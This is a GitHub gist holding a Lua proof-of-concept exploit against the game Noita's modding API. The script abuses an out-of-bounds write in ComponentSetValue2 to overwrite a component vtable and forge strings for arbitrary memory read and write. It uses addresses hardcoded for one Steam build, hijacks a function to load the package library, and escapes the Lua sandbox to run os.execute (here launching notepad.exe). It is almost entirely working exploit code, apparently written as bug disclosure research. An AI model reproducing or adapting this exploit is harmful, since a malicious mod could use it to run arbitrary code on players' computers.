Created
June 21, 2023 15:15
-
-
Save dextercd/f9af4fdafcdc65dade9b4eb5988256f9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- ComponentGetValue2 for FloatArrayInline and Vec2ArrayInline reads one element out of bounds. | |
-- Can't really do anything interesting with this but it's a bug that should probably get fixed. | |
-- ComponentSetValue2 for Vec2ArrayInline writes waaay out of bounds if you give | |
-- it a big enough table. We can use this to corrupt a component that's placed | |
-- after it in memory. | |
-- vtable pointers are an interesting target! | |
-- Utils | |
-- For placing binary numbers into memory | |
function as_binary(number) | |
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1 | |
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23) | |
local sig = bit.band(0x7fffff, number) | |
local leading = exp_ == 0 and 0 or 1 | |
local exponent = exp_ == 0 and -126 or exp_ - 127 | |
return sign * (leading + sig / 0x800000) * 2^exponent | |
end | |
-- Given a function, return the address in its string representation | |
-- (e.g. f -> "function: 0x2ac3a150" -> 0x2ac3a150) | |
function funaddr(f) | |
return tonumber(tostring(f):sub(13), 16) | |
end | |
-- Offsets to interesting parts of LuaJIT internal structures. | |
local fun_sz = 20 | |
-- The exploit | |
e = EntityCreateNew() | |
-- Generally v2 is allocated after v1, you may have to run this in a loop though | |
v1 = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false}) | |
v2 = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false}) | |
-- Turns v2 into a VariableStorageComponent with the `name' field pointing to a | |
-- std::string we constructed to point at a certain memory address. | |
function construct_string(string_start, size, capacity) | |
local idx = 1 | |
local tbl = {} | |
local function write_value(value) | |
tbl[idx] = value | |
idx = idx + 1 | |
end | |
-- First write into all v1 values | |
-- velocities | |
for i=1,320 do write_value(0) end | |
-- dampenings | |
for i=1,160 do write_value(0) end | |
-- freedoms | |
for i=1,160 do write_value(0) end | |
-- links | |
for i=1,960 do write_value(0) end | |
-- colors | |
for i=1,160 do write_value(0) end | |
-- materials | |
for i=1,160 do write_value(0) end | |
-- sprite | |
write_value(0) | |
-- 208 extra bytes, not sure what this is tbh.. maybe allocation rounded up + | |
-- some bookkeeping. ¯\_(ツ)_/¯ | |
for i=1,52 do write_value(0) end | |
-- Now we start writing into v2 | |
-- first comes the vtable pointer which we make a VSC component | |
-- vtable address hardcoded for the Mar 11 2023 Steam version of Noita | |
write_value(as_binary(0x00e550a4)) | |
-- Zero out the rest of the component base. Guaranteed crash if the engine | |
-- starts using v2 like a normal component, but the component is disabled | |
-- and we'll have executed our malicious payload by then (notepad.exe) | |
for i=1,17 do write_value(0) end | |
-- VSC name std::string | |
write_value(as_binary(string_start)) | |
for i=1,3 do write_value(0) end -- SSO | |
write_value(as_binary(size)) | |
write_value(as_binary(capacity)) | |
-- Write waaay out of bounds from v1 all the way into v2 | |
ComponentSetValue2(v1, "velocities", tbl) | |
end | |
local function read_int(addr) | |
construct_string(addr, 4, 100) | |
local bytes = ComponentGetValue2(v2, "name") | |
local value = 0 | |
for i=1,math.min(#bytes, 4) do | |
value = value + string.byte(bytes, i) * math.pow(256, i - 1) | |
end | |
return value | |
end | |
local function write_int(addr, value) | |
local bytes = string.char( | |
bit.band(bit.rshift(value, 0), 0xff), | |
bit.band(bit.rshift(value, 8), 0xff), | |
bit.band(bit.rshift(value, 16), 0xff), | |
bit.band(bit.rshift(value, 24), 0xff) | |
) | |
construct_string(addr, 4, 100) | |
ComponentSetValue2(v2, "name", bytes) | |
end | |
-- Read luaopen_string IAT entry. Address hardcoded for the Mar 11 2023 Steam version of Noita | |
local luaopen_string = read_int(0x00d2478c) | |
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away | |
write_int(funaddr(SetPlayerSpawnLocation) + fun_sz, luaopen_package) | |
SetPlayerSpawnLocation() | |
print(tostring(package)) -- We have `package` now! | |
-- We can now use package.loadlib to load anything we want. | |
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")() | |
local os = package.loadlib("lua51.dll", "luaopen_os")() | |
-- TODO: Evil stuff 2.0 | |
os.execute("notepad.exe") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment